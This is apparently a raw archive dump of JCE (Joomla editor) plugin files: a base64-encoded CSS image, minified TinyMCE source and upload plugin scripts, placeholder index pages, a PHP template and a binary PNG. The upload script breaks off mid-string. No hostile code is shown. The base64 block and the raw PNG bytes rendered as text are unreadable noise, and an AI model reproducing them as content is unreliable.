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");}.cm-s-ambiance .cm-searching{background:#ffa;background:rgba(255,255,0,.4);}editor/tiny_mce/plugins/source/css/codemirror/index.html000060400000000054150750527140017555 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/editor_plugin.js000060400000005342150750527140016032 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var DOM=tinymce.DOM;tinymce.dom.Event;tinymce.create("tinymce.plugins.SourcePlugin",{init:function(ed,url){var self=this;self.editor=ed,ed.plugins.fullscreen&&(ed.onFullScreen.add(function(ed,state){var element=ed.getElement(),header=(element.parentNode,DOM.getPrev(element,".wf-editor-header"));if(state){var vp=DOM.getViewPort();DOM.setStyle(element,"height",vp.h-header.offsetHeight)}else DOM.setStyle(element,"height",ed.settings.container_height)}),ed.onFullScreenResize.add(function(ed,vp){var element=ed.getElement();DOM.setStyle(element,"height",vp.h)})),ed.onInit.add(function(ed){var activeTab=sessionStorage.getItem("wf-editor-tabs-"+ed.id)||ed.settings.active_tab||"";if("wf-editor-source"===activeTab){ed.hide(),DOM.show(ed.getElement());var element=ed.getElement(),container=element.parentNode,width=ed.settings.container_width||sessionStorage.getItem("wf-editor-container-width");DOM.hasClass(container,"mce-fullscreen")||DOM.setStyle(element,"width",width)}})},insertContent:function(v){var ed=this.editor,el=ed.getElement();if(document.selection){el.focus();var s=document.selection.createRange();s.text=v}else if(el.selectionStart||"0"==el.selectionStart){var startPos=el.selectionStart,endPos=el.selectionEnd;el.value=el.value.substring(0,startPos)+v+el.value.substring(endPos,el.value.length)}else el.value+=v},getContent:function(){var ed=this.editor;return ed.getElement().value},getSelection:function(){var ed=this.editor,elm=ed.getElement();if(elm){var start=elm.selectionStart,end=elm.selectionEnd;if(elm.value())return elm.value().substring(start,end)}return""},save:function(){return this.getContent()},hide:function(){var ed=this.editor;DOM.hide(ed.getElement())},toggle:function(){var ed=this.editor,element=ed.getElement(),container=element.parentNode,header=DOM.getPrev(element,".wf-editor-header"),ifrHeight=parseInt(DOM.get(ed.id+"_ifr").style.height)||s.height,o=tinymce.util.Cookie.getHash("TinyMCE_"+ed.id+"_size");o&&o.height&&(ifrHeight=o.height),DOM.isHidden(element)?(DOM.show(element),DOM.removeClass(container,"mce-loading")):DOM.hide(element);var height=ed.settings.container_height||sessionStorage.getItem("wf-editor-container-height")||ifrHeight;if(DOM.hasClass(container,"mce-fullscreen")){var vp=DOM.getViewPort();height=vp.h-header.offsetHeight}DOM.setStyle(element,"height",height);var width=ed.settings.container_width||sessionStorage.getItem("wf-editor-container-width");DOM.hasClass(container,"mce-fullscreen")||DOM.setStyle(element,"width",width)}}),tinymce.PluginManager.add("source",tinymce.plugins.SourcePlugin)}();editor/tiny_mce/plugins/source/index.html000060400000000054150750527140014620 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/img/icons.png000060400000002532150750527140015223 0ustar00�PNG


IHDR<�^)	pHYs��IDATX��olSU����Fe��]��,4�B4C�����h
`$��,J�.���T�1�"j�D��$dVD� D��c]qk�����vέ���Kޤ��>��sr��*�'���n%5,"kEd�����\*�7�/IU{����B�N���9��y���B��ɞ�Y<�)�C�- ��sw�oXD�{<��@����z�[9�׻��p���g����mA�������^���YO�CKD�WVV�jjj"��;���_�re�ka�Q��������#OD;Uu�[�.{�>�a\�r�HD),,,.--��ѣ�Ac�UB�_�o�^�2�{D��x{���ۇ:�԰i���ɥK���%t��1|>�i�����e�����b�q����.������P(@AA>����.\���E(Ԍ��*����L2x�Ↄ���vb�1��]��Q��i
%˗/���BC�E.���:���lD~~>�h���'����R�����7
09�NhpFU׈�K�v���a
5��܌��C���,P�u��dy1/�!3�;�x��9�;�v?�_���k�X#"k��+yU]7��{=���{�s�%"����pm8���b�f�����
�ӾK��-��s~Н���'2l:mCJR�Tu��[���IU�}]$_D�vV
.��u��[�ΰ�{��ڹ�jo�Fh4�=IN��S��m>2xbyN�������⛂��C�� j.�6��$�3��I��TAU}�o�]2�	Ę�ְeYdg$//�{0�eu��,���p�L���ի�T����ҶH���<�(l�:�i��5ttN:��F�����)�3
�^2��SÁ,�qW�r�K�f�,dۭuR�NVlV0$#�Fss�4m�����=o�'t���V����-�=sXQ��R�N�0�	�}ʜ����%x���b p�K	���,p`s������	�K9�1t���4�����	���̰sԨQ����t�`�;8~��
 ��r4�Ҳd�꥜h�ۗ-��o9Wg�1���1�,~i�����"��3
�����\?��@5P�@yտ��X�1�w}}&h������-�@	Pb/�t�1��c�U���[��p���$��^y��+/�Oʻ�`ݠ���F+��u��K�HN|��L��1�g3|���>+���Q�k]��7B��xZ<wi���v�&��ҝ�W�H60�9��2��\�,�t�ԫ���v�H&��
�aU�������W��
1�jIEND�B`�editor/tiny_mce/plugins/source/img/index.html000060400000000054150750527140015374 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/source/tmpl/default.php000060400000001133150750527140015733 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

defined('_JEXEC') or die('RESTRICTED');

wfimport('admin.models.editor');
$model = new WFModelEditor();
echo $model->getToken('source');
?>
editor/tiny_mce/plugins/source/tmpl/index.html000060400000000054150750527140015574 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/upload/editor_plugin.js000060400000027225150750527140016022 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function uid(){var i,guid=(new Date).getTime().toString(32);for(i=0;i<5;i++)guid+=Math.floor(65535*Math.random()).toString(32);return"wf_"+guid+(counter++).toString(32)}var each=tinymce.each,extend=tinymce.extend,JSON=tinymce.util.JSON,RangeUtils=(navigator.platform.indexOf("Win")!==-1,tinymce.isWebKit&&navigator.vendor.indexOf("Apple")!==-1,tinymce.html.Node,tinymce.dom.RangeUtils),counter=0,supportDragDrop=!!(window.ProgressEvent&&window.FileReader&&window.FormData)&&!tinymce.isOpera,mimes={};!function(mime_data){var i,y,ext,items=mime_data.split(/,/);for(i=0;i<items.length;i+=2)for(ext=items[i+1].split(/ /),y=0;y<ext.length;y++)mimes[ext[y]]=items[i]}("application/msword,doc dot,application/pdf,pdf,application/pgp-signature,pgp,application/postscript,ps ai eps,application/rtf,rtf,application/vnd.ms-excel,xls xlb,application/vnd.ms-powerpoint,ppt pps pot,application/zip,zip,application/x-shockwave-flash,swf 